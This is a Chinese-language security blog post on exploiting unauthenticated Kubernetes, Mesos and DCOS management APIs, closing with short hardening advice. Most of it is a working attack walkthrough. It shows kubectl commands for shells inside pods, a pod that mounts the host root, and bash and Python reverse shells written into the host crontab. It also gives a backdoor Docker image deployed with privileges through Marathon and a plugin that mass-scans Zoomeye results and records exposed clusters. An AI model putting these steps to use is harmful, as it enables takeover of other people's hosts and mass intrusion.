0x00 前言
隨著大數據時代的到來,容器化技術(Containerization)運用地越來越廣泛,容器集群管理平臺也應運而生。
當前主流的容器集群管理技術,包括 Docker 官方的 Docker Swarm
、Apache 的 Mesos
和 Google 的 Kubernetes
(我廠也在用)。 其中 Docker Swarm 使用了 Docker 原生的標準 API 來管理容器,另外的 Mesos 和 Kubernetes 都採用了自己的實現方式。 大家或許還記得之前影響廣泛的 Docker Remote API
(2375 端口)未授權漏洞,那麼其他的容器管理平臺是否也會存在類似的問題呢?
0x01 Kubernetes
根據官方文檔,API Server 默認會開啟兩個端口:8080
和 6443
。 其中 8080 端口無需認證,應該僅用於測試。6443 端口需要認證,且有 TLS 保護。
直接訪問 8080 端口會返回可用的 API 列表,如:
{
"paths": [
"/api",
"/api/v1",
"/apis",
"/apis/extensions",
"/apis/extensions/v1beta1",
"/healthz",
"/healthz/ping",
"/logs/",
"/metrics",
"/resetMetrics",
"/swagger-ui/",
"/swaggerapi/",
"/ui/",
"/version"
]
}
而直接訪問 6443 端口會提示無權限:User "system:anonymous" cannot get at the cluster scope.
在 Zoomeye 搜索:metrics healthz
,可以看到使用 Kubernetes 最多是中國和美國。 其中 443 和 8443 端口幾乎都是 OpenShift Origin
,一個基於 Kubernetes 的企業版容器管理平臺,默認需要認證。
訪問 /ui
會跳轉到 dashboard
頁面,可以創建、修改、刪除容器,查看日誌等。
Kubernetes 官方提供了一個命令行工具 kubectl。使用 kubectl
不僅能完成圖形界面上的操作,還有個特殊的功能——在容器中執行命令,類似 docker
裡的 exec
。
// 獲得所有節點
> kubectl -s http://1.2.3.4:8080/ get nodes
// 獲得所有容器
> kubectl -s http://1.2.3.4:8080/ get pods --all-namespaces=true
// 在 myapp 容器獲得一個交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
當然,如果可以控制容器的運行,我們也可以嘗試獲取宿主機(即 nodes
)的權限。 參考 Docker Remote API 未授權訪問漏洞利用,流程大體為創建新的容器 -> 掛載宿主機目錄 -> 寫 /etc/crontab
定時任務反彈 shell。
根據 Kubernetes 文檔中掛載節點目錄的例子,可以寫一個 myapp.yaml
,將節點的根目錄掛載到容器的 /mnt
目錄。
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
然後使用 kubectl 創建容器:
// 由 myapp.yaml 創建容器
> kubectl -s http://1.2.3.4:8080/ create -f myapp.yaml
// 等待容器創建完成
// 獲得 myapp 的交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
// 向 crontab 寫入反彈 shell 的定時任務
> echo -e "* * * * * root bash -i >&
/dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab
// 也可以用 python 反彈 shell
> echo -e "* * * * * root /usr/bin/python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n" >> /mnt/etc/crontab
稍等片刻接收到反彈的 shell:
0x02 Mesos
根據官方文檔,Mesos master
默認監聽 5050
端口。
Mesos 主界面:
Mesos 的 API 可參考 HTTP Endpoints。 比較有用的一個 API 是 /flags
,可以查看系統的配置情況,包括是否開啟權限認證。
Mesos 從 1.2
版開始才有了 exec 進入容器的功能:Mesos Support for Container Attach and Container Exec。 值得吐槽的是 Mesos 的命令行工具居然沒有文檔,原因是 CLI 依然有很多功能缺失需要重構:A full redesign of the Mesos CLI。好在有一個 Design Doc: Mesos CLI 可供參考。
又因為沒有一個專門的 Mesos CLI 工具,唯一的一個 mesosphere/mesos-cli 也有兩年沒更新了,所以只能安裝 Mesos 來使用命令行。
在 Ubuntu 16.04
下安裝:
// 添加源
> cat << EOF >> /etc/apt/sources.list.d/mesosphere.list
deb http://repos.mesosphere.com/ubuntu xenial main
EOF
// 更新
> apt-get update
// 如果出現簽名問題需要導入 public key
// > apt-key adv --keyserver keyserver.ubuntu.com --recv-keys DF7D54CBE56151BF
// 安裝 mesos
> apt-get -y install mesos
安裝完成後可以對 Agent
下發任務執行命令(Mesos 版本均為 1.3):
// 設置目標 URL > mesos config master 1.2.3.4:5050// 列出正在運行的容器> mesos ps // 執行命令(無回顯) > mesos execute --master=1.2.3.4:5050 --name=test --command='curl 127.0.0.1/`hostname`'
可惜在 Docker Volume Support in Mesos Containerizer 中未能找到掛載宿主機(Agent)目錄的辦法,所以無法逃出沙箱獲得宿主機權限。
0x03 DCOS
Mesosphere DCOS
是基於 Apache Mesos 的商業化版本。 根據官方文檔,API Router
的默認端口是 80
(HTTP)和443
(HTTPS)。
DCOS 主界面:
相比於 Mesos,DCOS 的對應 API 前多了 /mesos/
,如在 Mesos 中查看版本號是 /version
,在 DCOS 中則是 /mesos/version
。訪問 /dcos-metadata/dcos-version.json
可查看 DCOS 的版本號。
訪問 /exhibitor/
是 DCOS 自帶的 Zookeeper
管理工具:
訪問 /marathon/
是自帶的框架(Framework) Marathon
:
DCOS 提供了一個強大的命令行工具,和 Kubernetes 的類似,也可以進入容器執行命令。
參考 Using dcos task exec,測試一下執行命令(DCOS v1.6.1,DCOS CLI v1.9):
// 設置目標 URL
> dcos config set core.dcos_url http://1.2.3.4// 根據文檔創建一個描述文件
> dcos marathon app add my-app.json
// 在執行 my-app 執行 hostname 命令
> dcos task exec my-app hostname
No container found for the specified task. It might still be spinning up. Please try again.
// 添加一個任務
> dcos job add my-job.json
DC/OS backend does not support metronome capabilities in this version. Must be DC/OS >= 1.8
居然不能在 my-app
執行命令,可能是 DCOS 版本過低所致,那如果運行一個 Docker 容器呢:
> dcos task exec my-docker hostname
This command is only supported for tasks launched by the Universal Container Runtime (UCR).
根據 Universal Container Runtime (UCR),container type
需要指定為 MESOS
才能執行命令,但 UCR 是有限制的:
The UCR does not support the following: runtime privileges, Docker options, force pull, named ports, numbered ports, bridge networking, port mapping, private registries with container authentication.
所以如果使用 UCR 的話,Docker 將無法掛載外部目錄。而如果使用已有的 Docker 基礎鏡像的話,無法執行我們需要的命令。
想了一下可以用構建自己 Docker 鏡像的方法繞過。
參考 Deploying a Docker-based Service,去 https://hub.docker.com 註冊一個賬號,假設用戶名為 test
,創建一個公開的 Repository: backdoor
。
編寫 Dockerfile
:
FROM alpine
# 容器啟動時執行命令
CMD echo -e "* * * * * root /usr/bin/python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n" >> /mnt/etc/crontab
構建 Docker 鏡像並推送到 Docker hub:
> docker build -t test/backdoor .
> docker login
> docker push test/backdoor
寫配置文件,使用 backdoor
鏡像且掛載宿主機根目錄到 /mnt
:
{
"id": "backdoor",
"container": {
"type": "DOCKER",
"volumes": [
{
"containerPath": "/mnt",
"hostPath": "/",
"mode": "RW"
}
],
"docker": {
"image": "test/backdoor",
"network": "BRIDGE",
"privileged": true
} },
"acceptedResourceRoles": ["slave_public"],
"instances": 1,
"cpus": 1,
"mem": 1024
}
最後添加容器到 Marathon:dcos marathon app add backdoor.json
稍等片刻獲得反彈的 shell:
0x04 批量驗證
以 Kubernetes 為例,用 POC-T 可以很方便地從 Zoomeye
的 API 獲取數據並進行驗證。寫一個插件試試:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = Oritz
"""
Kubernetes api 未授權訪問
需要安裝 kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.6.1/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin/kubectl
Usage:
python POC-T.py -s kubernetes-unauth -aZ "healthz metrics country:cn" --limit 1000
"""
import subprocess
import requests
from plugin.useragent import firefox
def poc(url):
if '://' not in url:
url = 'http://' + url
if '443' in url:
url = url.replace('http:', 'https:')
try:
g = requests.get(url, headers={'User-Agent': firefox()}, timeout=3, verify=False)
if g.status_code is 200 and 'healthz' in g.content and 'metrics' in g.content:
pods = subprocess.Popen("kubectl -s %s get pods --all-namespaces=true -o=wide" % url,
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=open("/dev/null", "w"), shell=True)
output = pods.communicate()[0].decode("utf-8")
if "Please enter Username" not in output and "Error from server" not in output:
with open("k8s.txt", "a") as f:
f.write(url + "\n" + output + "\n")
return url
except Exception:
pass
return False
部分結果放在了 gist 上:k8s.cn.txt
0x05 偶遇挖礦
在研究過程中發現了部分未授權的 DCOS 被用來挖礦,如查看 DCOS 的任務日誌:
在 Zookeeper 的任務配置裡也可以看到:
圖中的命令和常見的批量掃描主機漏洞並植入挖礦軟件的程序很像,所以不大可能是管理員自己運行的。 不過查了一下 Github 上其實早就有開源的基於 Mesos 的分佈式比特幣挖礦程序了,因為容器管理平臺的資源一般都很充裕,可能會成為礦工們的新目標。
0x06 總結
文中主要介紹了 Kubernetes 和 Mesos 未授權漏洞的利用方式和獲得宿主機權限的攻擊方式。容器管理平臺未授權訪問不僅會洩露容器中的代碼、數據庫等敏感文件,還有可能導致宿主機被控制進入內網,產生更大的危害。
參考 Security Best Practices for Kubernetes Deployment,在安裝和運行容器管理平臺時,遵循以下幾點可提高安全性:
配置防火牆,禁止敏感端口對外開放
對管理端口加上認證
使用安全的鏡像(私有鏡像倉庫)
設置容器資源限額
容器以非 root 用戶運行
文中還有兩個問題沒有解決:
Apache Mesos 如何掛載宿主機目錄
DCOS 在容器中執行命令是否有更好的方式
如果有意見和建議,歡迎提出。
0x07 參考
容器集群管理工具各項對比
容器集群管理工具各項對比
Docker Remote API 未授權訪問漏洞利用
SecurityBestPracticesforKubernetesDeployment
以上由網易企業信息化服務提供商,湖南領先網絡科技有限公司整理髮布。